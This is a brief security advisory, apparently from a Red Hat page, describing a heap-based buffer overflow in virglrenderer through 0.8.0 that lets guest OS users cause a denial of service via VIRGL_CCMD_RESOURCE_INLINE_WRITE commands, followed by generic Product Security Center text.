A heap-based buffer overflow in the vrend_renderer_transfer_write_iov function in vrend_renderer.c in virglrenderer through 0.8.0 allows guest OS users to cause a denial of service via VIRGL_CCMD_RESOURCE_INLINE_WRITE commands.

**Red Hat Product Security Center**

Engage with our Red Hat Product Security team, access security updates, and ensure your environments are not exposed to any known security vulnerabilities.

Product Security Center

Tag

#buffer_overflow